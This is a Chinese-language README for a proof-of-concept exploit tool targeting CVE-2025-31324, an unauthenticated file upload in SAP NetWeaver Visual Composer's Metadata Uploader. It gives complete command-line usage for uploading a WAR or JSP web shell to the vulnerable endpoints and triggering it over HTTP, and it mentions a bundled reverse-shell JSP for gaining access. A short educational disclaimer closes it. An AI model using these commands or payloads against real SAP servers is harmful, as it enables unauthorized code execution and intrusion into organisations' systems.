CVE-2025-31324_PoC

针对CVE-2025-31324的概念验证：SAP NetWeaver Visual Composer Metadata Uploader中的未认证上传

此脚本执行以下操作：

1. 通过上传主机/端口将文件上传到易受攻击的端点
2. 通过HTTP GET触发（通过触发主机/端口）
3. 基本响应验证/日志记录

使用示例： python3 PoC.py
--host sap.example.com --port 50000
--endpoint /irj/portal/sap/bc/webdynpro/sap/ZWDC_METADATA_UPLDR
--file EvilPayload.war
--trigger-path /irj/portal/irj/servlet_jsp/irj/root/EvilPayload/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https true
--bypass-portal

python3 PoC.py --host sap.example.com --port 50000
--endpoint /developmentserver/metadatauploader
--file shell.jsp
--trigger-path /visual_composer/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https

您也可以选择上传.war文件来执行。cache.jsp是一个反向Shell，一旦进入系统即可获得访问权限。（仍在解决一些问题）

免责声明

此内容仅供教育目的，不得用于任何恶意活动。在测试或研究安全漏洞时，请始终确保您拥有必要的权限并遵循道德准则。

如有任何疑问或需要澄清，请随时联系。保持安全与保障！